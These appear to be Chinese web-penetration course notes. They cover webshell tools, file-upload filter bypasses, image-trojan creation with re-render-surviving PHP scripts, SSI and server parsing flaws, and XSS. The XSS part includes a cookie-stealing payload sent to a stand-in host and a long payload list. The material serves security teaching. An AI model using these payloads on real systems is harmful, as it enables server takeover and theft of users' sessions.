抓取菜刀这个软件的包,先进行url解码,然后进行base64解码,如果还需要解码,那么该菜刀很可能有后门,当最终解码成功后,如果发现包的内容里包含其他网址,那么这就是后门了,使用burp解码的时候需要选择右边的decode as
几款管理工具
1、中国菜刀(caidao)
官网:http://www.maicaidao.co/
2、c刀(cknife)
https://github.com/Chora10/Cknife
3、Weevely3
https://github.com/epinna/weevely3
4、中国蚁剑(AntSword)
AntSword 加载器:https://github.com/AntSwordProject/AntSword-Loader
AntSword 源码:https://github.com/AntSwordProject/antSword
5、冰蝎(Behinder)
下载地址:
https://github.com/rebeyond/Behinder/releases/download/Behinder_v2.0.1/Behinder_v2.0.1.zip
使用介绍:https://github.com/rebeyond/Behinder
怎么在菜刀执行post命令?
1、先连接上webshell,然后再菜刀webshell列表页面,选中需要的webshell,然后右键—-浏览网站—-地址栏输入webshell的地址—点击右边的小方框来显示post框
3、上传绕过技巧/实战
预习内容:
预习的内容,共有2个实验,一个是直接上传,一个是检测mime类型,直接通过burp修改mime类型即可
课程内容:
上传漏洞产生的原因:
1、服务器配置不当
2、开源编辑器的上传漏洞
3、文件解析漏洞导致文件执行(比如apache、iis解析漏洞)
4、文件上传限制被绕过
5、过滤不严格,导致被绕过
文件上传检测方式及绕过方法
1、客户端的检测(浏览器)
客户端javascript检测(检测文件扩展名)
绕过的2种方法:
①禁用js
②先上传符合要求的文件,然后抓包修改后缀名。比如先在本地将php文件后缀修改为jpg,然后上传–抓包–再将后缀名改回php
2、服务端的检测
服务端mime类型检测(检测content-type内容)
绕过方法:
在burp里,将content-type字段的内容修改为符合条件的,常见的mime类型如下:
超文本标记语言.html文件:text/html
普通文本.txt文件:text/plain
PDF文档.pdf:application/pdf
Microsoft Word文件.word:application/msword
PNG图像.png:image/png
GIF图像.gif:image/gif
MPEG文件.mpg、.mpeg:video/mpeg
AVI文件.avi:video/x-msvideo
服务端目录路径检测(检测跟path参数相关的内容)
服务端文件扩展名检测(检测跟文件extennsion相关的内容,通俗的说就是服务端设置了黑名单和白名单)
黑名单、白名单怎么判别?
随便上传一个不存在的后缀的文件,看是否能成功,成功则代表是黑名单,不成功就是白名单
黑名单:服务端设置了一个黑名单,是个列表,里面都是不允许上传的后缀格式
绕过方法:
①大小写绕过,比如pHp(只针对windows)
②空格绕过,在后缀名后面加一个空格(注意:是在抓到的包里,找到文件名,然后在后面加空格)
③点绕过,因为windows会自动对扩展名后面的点(.)去除,所以我们加一个点既能绕过限制,也不影响文件的执行,就是在扩展名最后面加一个点(.),例如 1.php. 缺点:只能针对windows系统
组合绕过方法:
如果开发人员只设置了一次过滤,打个比方,过滤顺序是先过滤点,然后才是空格,那么我们可以通过点和空格的组合来实现绕过,利用的原理就是只过滤一遍的缺陷
根据过滤次数来绕过,如果代码是先过滤点,然后过滤空格,并且只是过滤一次,那么我们完全可以构建:1.php. . php + 点 + 空格 +点 这样当第一次过滤点,会将外层点过滤,接着空格,因为只过滤一次,所以到最后还有一个点,从而实现绕过黑名单
④::$DATA绕过,在扩展名后面加 ::$DATA 缺点:只能针对windows系统
原理:文件名+::$DATA ,php将不会检查其后缀名,并且在上传成功后,会自动抹去后面的 ::DATA ,比如我们上传1.php::DATA,上传到成功后,文件名会自动变成1.php
⑤配合apache解析漏洞
条件:影响版本:2.4.0-2.4.29
Apache解析的特点,解析文件是从右往左判断,如果不可识别,继续往左判断下去,例如aa.php.wof.rar 这里rar,无法识别,然后wof也无法识别,接着就会识别到php,但是该文件的扩展名是rar,所以不在黑名单之内,从而实现绕过并能执行php文件
⑥ .htaccess文件绕过
.htaccess文件,能够在里面设置指令,打个比方,如果在.htaccess里的命令是把该文件所在目录下的所有文件都当做php来执行,即.htaccess当前所在目录下的txt、jpg…等都会按照php来对待,所以.htaccess可以轻松绕过各种检测
易错点:.htaccess文件的点前面没有内容,如果我们直接新建一个这种小数点前面没名字的文件,会无法创建,所以得利用第三方的编辑工具创建,比如notepad++
示例代码:新建一个.htaccess文件
1 | <FilesMatch "as.png">setHandler application/x-httpd-php</FilesMatch> |
代码的意思就是调用php解析器去解析当前htaccess文件目录下名字里包含as.png这个字符串的文件,所以无论文件的扩展名是什么样,都可以按照php来执行
⑦重写绕过
适宜场景:服务端将黑名单里的后缀名替换为空
绕过策略:对后缀名进行组合,比如1.php写成1.pphphp 当其检测,会将第2个字母到第4个字母替换为空,但是一旦替换为空,剩下的字母就变成了了php,从而实现了绕过
白名单:服务端设置了一个白名单,是个列表,只允许上传该列表里的后缀格式
绕过方法:服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方式进行绕过,包括%00截断与0x00截断。
截断的条件:
易错点:截断只适合白名单,不要用混了,把它用到黑名单去了
1、php小于5.3.29
2、需要php.ini里面的magic_quoters_gpc 设置为off
截断的基本原理:主要是通过0来结束,分为两种,一种是在url中截断,一种是在16进制中截断,0在url中的表示方法就是%00,而0在16进制中的表示方法就是00,如此再加上16进制的标志,即0在16进制中就是0x00
%00和0x00截断的应用时机:白名单的时候用
%00截断:
如果碰到路径拼接,并且是通过get方式来路径拼接的(就是路径显示在get请求里)的,也就是get请求的地址是一个目录,可以在地址后面添加一个目录然后%00来截断,比如xx/xx/1.php%00
这里因为浏览器会将%00解码成0x00,所以这里只需要填%00,而post路径的,因为没有浏览器进行解码,所以需要通过hex修改为0x00
场景:主要用于服务端对我们上传的文件名给重命名了,比如根据随机数或者时间戳重命名了,我们就可以在抓取的包的请求保存的网址后面save_path=../upload/,添加一个目录,比如目录设置为save_path=../upload/1.php%00, 那么当服务端将就会执行请求命令:save save_path=../upload/1.php%00/51315.jpg ,这样的话,%00就会将后面的给截断了,所以最终文件名会是1.php,并且是保存在upload下
url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。
0x00截断:
如果碰到的路径拼接是通过post路径的,就是get的地址是一个具体的文件,而非一个目录,此时我们可以修改请求体重的保存路径,和上面一样,在路径后面构造一个1.php+空格 接着去hex里将20修改为00,即可。
原理:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。
利用场景:既可以在文件名这个部位的16进制里修改,也可以在保存的路径里修改,和%00截断类似,/upload/1.php 后面添加一个空格,然后16进制改为00,从而实现截断
修改技巧:在文件后缀名后面加一个字母a,主要是为了在16进制中方便定位,然后再后缀名和a之间加一个空格,加好了之后,就去16进制界面找到a,然后再在a附近找到20,因为空格在16进制中就是20,将20改为00即可,最后再回到包的界面,删除a即可
易错点:我们在burp里修改16进制的时候,很多数据都是三个点(…),我们需要鼠标左键去双击才能显示,然后找到20,将其改为00,实际上很好找的,空格在a的左边,我们看a是16进制第一个,我们就去它的a所在的那一行的最左边或者它的上一行的最右边去寻找
案例1
0x00截断案例2
如果碰到的是让我们自定义上传的文件的名字,此时我们完全可以在保存的名称处进行截断:例如:保存的名称写成:1.php+空格+点+jpg 然后抓包,接着空格在hex里替换成00
服务端文件内容检测(检测内容是否含有恶意代码)等
主要检测文件内容开始处的幻数来判断,通常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型
修改方法:二进制工具或者记事本修改,也可以通过cmd生成图片马(优点:图片并没有损坏,而且开头幻数也是图片格式的,并且里面也有一句话代码),例如:copy 1.jpg/b + muma.php/a 2.jpg
生成为成功后记得检查下,用二进制打开或者记事本打开,看一句话是否插入成功
如果想将木马伪装成jpg,可以在其内容(一句话木马)开头添加
FF D8 FF E0 00 10 4A 46 49 46
如果想将木马伪装成gif,可以在其内容开头添加(推荐)
或者直接添加:GIF89a
47 49 46 38 39 61
如果想将木马伪装成jpg,可以在其内容开头添加
89 50 4E 47
图片马的作用
1、图片马自带图片相关的幻数,无需我们手动插入,生成后,我们只需要将后缀改成php,然后再上传,那么针对文件内容的检测即可绕过
2、如果服务端的检测机制除了文件内容,还限制了php后缀名,那么我们完全可以直接将图片马上传,因为图片马的后缀格式是符合要求的,然后再配套文件包含漏洞,包含该图片马即可变相绕过。
图片马被二次渲染怎么办?
1、什么是二次渲染?
二次渲染只是一种技术,并不会导致漏洞,二次渲染就是根据我们上传的图片新生成一个图片,新图片可能进行了缩小啊,类似于我们上传图片,会有一个缩略图,并且将原始图片进行了删除(重命名)。其主要功能是对我们的图片进行了处理
2、二次渲染造成的难题
会让我们的图片马里的内容遭到修改,很可能因为它的二次渲染,导致我们的图片马里的一句话木马内容丢失,或者残缺,从而导致后续无法对图片马进行利用。
3、怎么判别是否有二次渲染?
我们可以将图片下载下来,用二进制工具打开,看里面的一句话木马是否还存在,若不存在,则代表二次渲染了
4、怎么应对图片马被二次渲染?
根据不同的图片格式,有不同的应对方法,其中gif的最简单,推荐使用gif,因为gif图片最大的特征就是无损,图片修改后,照片质量几乎无损,而jpg和png就不行了,所以修改的难度更大,所以推荐使用脚本修改
gif图片马应对二次渲染
我们直接将上传后的图片b(已被渲染)和原图片a进行比对,找到b和a的共同的部分(二进制里),然后再将一句话木马插入到这两种图片的共同的部分之间(插入到a里),然后再将a进行上传即可绕过。这是因为gif的二次渲染只会对图片的代码的部分进行修改,而我们将一句话插入到不被修改的里面,就可以绕过
png图片马应对二次渲染
代码运行方法:参考附录php,此时,需要将1.png放在脚本目录
1 | $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png'); |
jpg图片马应对二次渲染(代码)
代码运行方法:参考附录php,此时命令行需要传递待处理的图片名,并且代码里的pyaload可以修改
1 | $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } |
Apache SSI 远程命令执行漏洞
前提:目标服务器开启了SSI与CGI支持
适合:php文件无法上传,并且对方开启了ssi和cgi的时候
利用方法:构造一个shtml文件,在文件里写入命令,然后上传,接着再访问该上传的文件—访问后,页面就显示出文件里命令执行后的结果
文件代码:
1 | <!--#exec cmd="whoami" --> |
Web解析漏洞(了解即可,平常碰到的少)
Apache解析漏洞
利用方式:一般如果碰到文件上传黑名单的情况,可以看其存不存在apache解析漏洞
原理:apache解析文件是从右到左,如果无法识别,则继续往左,假设一处上传点有上传黑名单限制,并且其还存在apache解析漏洞,我们就可以将文件扩展名改为:1.php.qwe.asd 这样因为黑名单的特性,所以可以上传成功,并且因为apache的解析漏洞,asd格式无法识别,qwe无法识别,所以最后识别到了php,会将其解析,也就成功解析了木马。
条件:影响版本:2.4.0-2.4.29
防御措施:
1、进制访问php文件
现在对apache的配置文件做适当修改,在文件中添加下面几行代码
1 | <FilesMatch ".(php.|php3.|php4.|php5.)">Order Deny,Allow Deny from all</FilesMatch> |
禁止*.php.*文件的访问权限
2、对上传的文件进行限制,虽然也可以绕过,比如限制content-type
iis6.0解析漏洞
目录解析
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp目录下的文件都解析成asp文件。
文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了
可执行文件:IIS6.0默认的可执行文件除了asp还包含asa\cer\cdx这三种脚本文件
Iis6.0搭配fckeditor编辑器2.5进行漏洞利用
1、fck2.5会自动把文件名中的点替换成下划线,比如会自动将1.asp替换成1_asp,这样我们就无法利用iis6.0目录解析漏洞了,所以需要通过抓包,修改包的内容,将%2F改为%2F1.asp
2、同时,fck2.5会将1.asp;2.jpg进行处理,除了最后面的一个小数点,前面的小数点全部替换成下划线,这里会替换成1_asp;2.jpg 所以这里也需要找方法绕过
iis7.0解析漏洞
形式:任意文件名/任意文件名.php
原理:IIS7.0/7.5 是对 php 解析时有一个类似于 Nginx 的解析漏洞,对任意文件名只要在 URL后面追加上字符串”/任意文件名.php”就会按照 php 的方式去解析
Nginx解析漏洞
形式:任意文件名/任意文件名.php
一个在任意文件名后面添加 /任意文件名.php 的解析漏洞,比如原本文件名是 test.jpg,可以添加为test.jpg/x.php 进行解析攻击。、
形式:任意文件名%00.php
对低版本的 Nginx 可以在任意文件名后面添加%00.php 进行解析攻击。(Nginx版本 <=0.8.37 空字节代码执行漏洞)
实战:上传一个图片马,然后访问该图片,在在图片地址后面加上/.php
就会将该png图片按照php格式执行,接下来可以将改地址填到菜刀链接
怎么访问上传后的文件?
1、右键图片查看链接
2、看返回包里的地址,如果有 ../ 即代表上级目录
文件上传漏洞通用攻击流程
第五章:XSS漏洞
1、基础讲解
1.1 html基础
Html 是一种超文本标记语言,英文名字叫 HyperText Markup Language。
超级文本标记语言是一种规范,也是一种标准,它通过标记符号来标记要显
示的网页中的各个部分
html文件后缀名 .html 或者 .xhtml 。
html 可以直接由浏览器执行
html的框架
1 | <html> 与 </html> 限定了文档的开始点和结束点。<head> 定义文档头部。<body> 定义文档主体 |
head部分
1 | <title>合天网安实验室-国内大型MOOE在线实验室</title>:网页标题栏显示的信息 |
1 | 2. <meta> html的元信息标签,搜索引擎抓取网页时分析。,meta标签内容应该写在头部里 |
body部分
1 | 1. <p> 段落标签<p>文本</p>2. <a>超链接标签<a href=“http://www.baidu.com” target=“_blank”>百度一下</a><a href=“#top”>跳转</a> 需创建一个 id 属性 id=“top”3. <img>图片标签<img src="图片地址" alt="图片加载失败"/>4. HTML 特殊符号在 HTML 中有些字符是有特殊含义的,不能在浏览器中直接显示出来的。比如: <p> 我是<h1>标签哦</p> #<h1>被当作主标题如果想要显示特殊字符,且不被浏览器解析呢?解决方式:实体字符,<p>我是 < h1>标签哦</p> |
. HTML 特殊符号
1 | 实体字符表示方式● &entity-name-  ;● &#entity-number-   |
显示结果 | 描述 | 实体名称 | 实体编号 |
---|---|---|---|
空格 | |||
< | 小于号 | < | < |
> | 大于号 | > | > |
& | 和号 | & | & |
“ | 引号 | " | " |
‘ | 撇号 | ' (IE不支持) | ' |
¢ | 分(cent) | ¢ | ¢ |
£ | 镑(pound) | £ | £ |
¥ | 元(yen) | ¥ | ¥ |
€ | 欧元(euro) | € | € |
§ | 小节 | § | § |
© | 版权(copyright) | © | © |
® | 注册商标 | ® | ® |
™ | 商标 | ™ | ™ |
× | 乘号 | × | × |
÷ | 除号 | ÷ | ÷ |
实体字符参考表:https://www.w3school.com.cn/html/html_entities.asp
如需完整的实体符号参考,请访问我们的 HTML 实体符号参考手册。
页面源代码和显示效果:
1 | <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>测试页面</title> </head> <body> <h1>这是一级标题</h1> <p>这是一个段落</p> <h1>通过实体字符显示</h1> <!-- 下面两个是超链接,要有a标签 --> <a href="http://www.baidu.com" >点我</a> <a href="http://www.baidu.com" target=“_blank”>百度一下</a> <!-- 注意,跳转的链接必须要有http:// 否则会跳转失败 ,其次,是href而不是herf,r和e的位置别搞错了 --> <!-- 下面是图片标签 --> <img src="http://dwz.date/efvt" alt='图片加载失败'> <p><h1>显示特殊符号,使用实体字符,比如左尖括号< 可以查看实体字符表来查看</h1></p> </body></html> |
1.2 javascript基础
1.2.1 基础
javascript:在浏览器中运行,主要用于用户交互、数据处理;其和java没有关系
javascript存在html的哪几个地方?
1 | 1、<script></script> 存在script标签中2、在<script>的 src 属性或指定的外部文件中3、在某个HTML事件处理器中 如 onclick、onmouseover 等 |
1.2.2 DOM操作
DOM:全称:文档对象模型(DocumentObject Model ) 。 访 问 和 操 作HTML 文档的标准方法,通过利用javascript 来访问、操作 HTML。
一、获取 HTML 元素内容
1、获取元素:getElementById() 通过 ID 获取元素
1 | <!这里是获取id为name这个元素,但是只是获取了元素--><p id='name'>这是一个段落</p> <script type='text/javascript'> x = document.getElementById('name');</script> |
2、获取元素里的内容(alert弹窗获取)
1 | alert(x.innerHTML) |
局部代码:
1 | <!这里先是获取了元素,然后通过innerHTML来获取元素的内容,接着通过alert来对获取的内容进行弹窗--><p id='name'>这是一个段落</p> <script type='text/javascript'> x = document.getElementById('name'); alert(x.innerHTML);</script> |
效果图:
二、修改HTML元素的内容
1、获取元素:getElementById() 通过 ID 获取元素
1 | <!这里是获取id为name这个元素,但是只是获取了元素--><p id='name'>这是一个段落</p> <script type='text/javascript'> x = document.getElementById('name');</script> |
2、修改元素:也就是将获取的元素内容进行重新赋值罢了
代码:
1 | <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>测试页面</title> </head> <body> <h1>这是一级标题</h1> <p id='name'>这是一个段落</p> <script type='text/javascript'> x = document.getElementById('name'); x.innerHTML='内容已经被修改' </script> <h1>通过实体字符显示</h1> <!-- 下面两个是超链接,要有a标签--> <a href="http://www.baidu.com" >点我</a> <a href="http://www.baidu.com" target=“_blank”>百度一下</a> <! 注意,跳转的链接必须要有http:// 否则会跳转失败 ,其次,是href而不是herf,r和e的位置别搞错了 --> <! 下面是图片标签--> <img src="http://dwz.date/efvt" alt='图片加载失败'> <p><h1>显示特殊符号,使用实体字符,比如左尖括号< 可以查看实体字符表来查看</h1></p> </body></html> |
效果图:
三、创建动态效果
易错点:使用iframe标签需要将write里的内容要用引号括起来,并且这里只能用双引号,用单引号没用
代码:
1 | document.write() 写入到 HTML 页面中document.write('<iframe src="http://www.baidu.com"></iframe>');document.write(Date()) |
四、添加页面交互效果
原理:利用事件属性onclick
代码:
1 | <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>测试页面</title> </head> <body> <p id='name'>原内容</p> <script type='text/javascript'> function change(id) { id.innerHTML='已经通过点击按钮修改' } </script> <h2 onclick='change(this)'>点击我修改</h2> <!-- 这个h2标签必须要在script外面才行 --> </body></html> |
常用事件属性
onclick 单击触发
ondbclick 双击触发
onfocus 元素获得焦点
应用:练习框
onblur元素失去焦点
应用:表单验证,用户离开某个输入框时,代表已经输完,我们可以对它进行验证
onchange:域的内容被改变
应用:用于表单元素,当元素内容被改变时触发(select联动)
onkeydown 某个按键被按下
应用:当用户输入回车时,表单提交
onkeypress 某个按键被按下并松开
onload 一张页面或者一副图像完成加载
onmousedown 鼠标按钮被按下
onmousemove 鼠标被移动
mouseout 鼠标移开
onmouseover 鼠标移动到某元素之上
onselect在文本框中的文本被选中时
onsubmit确认按钮被点击,使用的对象是form
1.2.3 BOM操作
全称:浏览器对象模型(Browser Object Model)。它使JavaScript有能力与浏览器进行“对话”。
使用方法:一般是通过审查元素里的控制台里进行操作
1、让浏览器弹出警告
1 | alert(1) 警告弹窗confirm('你喜欢我么?') 确认弹窗prompt('你已经被黑') 提示弹窗 |
2、获取cookie信息
获取cookie并对cookie进行弹窗
1 | alert(document.cookie); |
3、获取浏览器信息
4、获取页面控制信息
BOM操作的作用
1、获取和操作浏览器
2、它是浏览器和编程语言之间的接口
2、Xss基础
2.1 xss概述
为什么不是css而是xss?
为了和html中的css混淆,所以使用xss
xss的危害
获取用户信息;(如浏览器信息、ip 地址、cookie 信息等)
1、钓鱼;(利用 xss 漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个
网站的登录框,将用户名、密码发送到攻击者服务器)
2、注入木马或广告链接;(有些在主站注入非法网站的链接,对公司的声誉有一定的影响)
3、 后台增删改网站数据等操作;(配合 CSRF 漏洞,骗取用户点击,利用 js 模拟浏览器发包)
4、xss 蠕虫(微博蠕虫:只要看过某人的微博就是自动关注某人;贴吧蠕虫:看过某个帖子就
自动回复)
2.2 xss类型、场景
XSS一般分为3类:
1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。
2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。
3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。
反射型xss
特点:仅执行一次,非持久型;参数型跨站脚本。
主要存在于攻击者将恶意脚本附加到 url 的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。
缺陷:必须要受害者访问一次就执行一次,不持久,必须访问构造的url才行,如果不点击该特定链接,则不执行
漏洞利用流程:
攻击者发现存在xss的url—-构造xss代码—对url进行伪装(编码、缩短)—发送给受害者——受害者点击——完成攻击
怎么发现反射型xss?
1、见到框框就插入
2、观察url,看我们输入的内容和url是否有关系
反射型xss的利用方法:
1 | 经典测试 <script>alert('hack')</script>大写绕过 <SCRIPT>alert('hack')</SCRIPT>双写绕过 <scr<script>ipt>alert(1)</script>其他标签 <img src=1 onerror=alert(1) /> |
存储型xss:危害大、更持久
特点:持久型。
主要存在于与数据库进行交互的页面。攻击者通过前端输入恶意脚本,服务器未作良好过滤进而将其存储到服务器数据库中,当用户访问包含恶意相关数据的页面时,服务端未经严格过滤处理而输出在用户浏览器中,导致受害者浏览器执行恶意代码。
存储型xss存在的地方
留言处、个人信息处等可以长久保存数据的地方
DOM based xss
特定:通过JavaScript操作document,实现修改dom节点
漏洞前提:主要存在于用户能修改页面的dom。也就是其源代码中通过调用函数来对页面中的内容进行修改,比如通过调用函数修改某个节点的内容,所以我们可以在输入内容这里来进行漏洞利用
示例代码:
缺陷:当我们通过DOM来修改节点时,比如InnerHTML,该innerHTML来重新赋值来实现修改,如果我们构造的赋值内容是一个script脚本,那么该脚本并不会执行,这是由DOM的特性所决定的
怎么绕过缺陷:
使用事件属性触发:onclick,onerror(需要和img进行搭配触发)
1 | 'onclick='alert(1)这里的两个单引号是用来闭合语句的 |
1 | '><img src=1 onerror=alert(1)这里的开头的单引号和右尖括号是用来闭合语句的,注意哦,这个最后面不能有尖括号 |
使用eval来执行script来执行脚本,不过该脚本需要进行编码
实例:使用DOM xss来实现给指定地址发送cookie
正常代码无法使用:因为DOM无法操作innerHTML赋值来的脚本
1 | <script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>#注意:new 和Image 之间有一个空格 |
绕过方法:既然DOM无法执行通过innerHTML赋值来的脚本,那么它本身不能干的事,我们就找帮手–eval函数来执行;并且因为不能包含空格,所以我们构造payload的时候需要构造一个没有空格的payload,所以就需要通过编码方式来绕过,比如利用String.fromCharCode函数,该函数会将数字转换为ASCII码中该数字对应的字符
1 | String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41)上面这个语句执行后,结果就相当于alert(/xss/) |
接下来,再用eval执行上面的代码即可
ok,开始实操 ,首先将我们正常的给指定地址发送cookie的代码转换成ascii,这里可以通过火狐的hackbar来操作
易错点1:原payload的script的两个头和尾要去掉
易错点2:因为不能有空格,所以需要将转换成功的字符串里的空格所代表的的数字删掉,空格在ascii中代表着32
构建代码如下:
1 | '><img src=1 onerror='eval(String.fromCharCode(110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 120, 115, 115, 46, 99, 111, 109, 47, 114, 101, 99, 118, 95, 99, 111, 111, 107, 105, 101, 115, 46, 112, 104, 112, 63, 109, 115, 103, 61, 34, 43, 101, 110, 99, 111, 100, 101, 85, 82, 73, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 41))#易错点:eval必须要有单引号进行闭合 |
xss漏洞利用payload大全:https://github.com/pgaijin66/XSS-Payloads/blob/master/payload/payload.txt
1 | <script>alert(123);</script><ScRipT>alert("XSS");</ScRipT><script>alert(123)</script><script>alert("hellox worldss");</script><script>alert(“XSS”)</script> <script>alert(“XSS”);</script><script>alert(‘XSS’)</script>“><script>alert(“XSS”)</script><script>alert(/XSS”)</script><script>alert(/XSS/)</script></script><script>alert(1)</script>‘; alert(1);‘)alert(1);//<ScRiPt>alert(1)</sCriPt><IMG SRC=jAVasCrIPt:alert(‘XSS’)><IMG SRC=”javascript:alert(‘XSS’);”><IMG SRC=javascript:alert("XSS")><IMG SRC=javascript:alert(‘XSS’)> <img src=xss onerror=alert(1)><iframe %00 src="	javascript:prompt(1)	"%00><svg><style>{font-family:'<iframe/onload=confirm(1)>'<input/onmouseover="javaSCRIPT:confirm(1)"<sVg><scRipt %00></script><ScRipT 5-0*3+9/3=></script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'><img/	  src=`~` onerror=prompt(1)><form><iframe 	  src="javascript:alert(1)" 	;><a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</ahttp://www.google<script .com></style><a/href="javascript: javascript:prompt(1)"><input type="X"></plaintext\></|\><plaintext/onmouseover=prompt(1)</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'></script><iframe/src \/\/onload = prompt(1)<iframe/onreadystatechange=alert(1)<svg/onload=alert(1)<input value=<><iframe/src=javascript:confirm(1)<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>http://www.<script></script><body/onload=<!-->
alert(1)><script itworksinallbrowsers></script><div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>"><img src=x onerror=window.open('https://www.google.com/');><form><button formaction=javascript:alert(1)>CLICKME<math><a xlink:href="//jsfiddle.net/t846h/">click<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe><a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a><SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><IMG SRC=”jav ascript:alert(‘XSS’);”><IMG SRC=”jav	ascript:alert(‘XSS’);”><<SCRIPT>alert(“XSS”);//<</SCRIPT>%253cscript%253ealert(1)%253c/script%253e“><s”%2b”cript>alert(document.cookie)</script>foo<script>alert(1)</script><scr<script>ipt>alert(1)</scr</script>ipt><IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert('XSS')><BODY BACKGROUND=”javascript:alert(‘XSS’)”><BODY ONLOAD=alert(‘XSS’)><INPUT 